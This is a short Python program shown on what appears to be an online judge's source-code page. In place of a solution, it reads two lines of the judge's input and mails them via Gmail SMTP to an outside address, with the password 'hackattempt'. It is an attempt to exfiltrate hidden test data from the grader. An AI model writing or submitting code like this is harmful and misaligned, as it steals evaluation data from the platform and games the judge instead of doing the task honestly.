Pagini recente » Cod sursa (job #3164617) | Cod sursa (job #2010996) | Cod sursa (job #2071136) | Istoria paginii utilizator/yodanny3 | Cod sursa (job #2728163)
import smtplib
sender_email = '[email protected]'
rec_email = '[email protected]'
password = 'hackattempt'
message = input() + ' ' + input()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.ehlo()
server.login(sender_email, password)
print('Login success!')
server.sendmail(sender_email, rec_email, message)
print('Email sent!')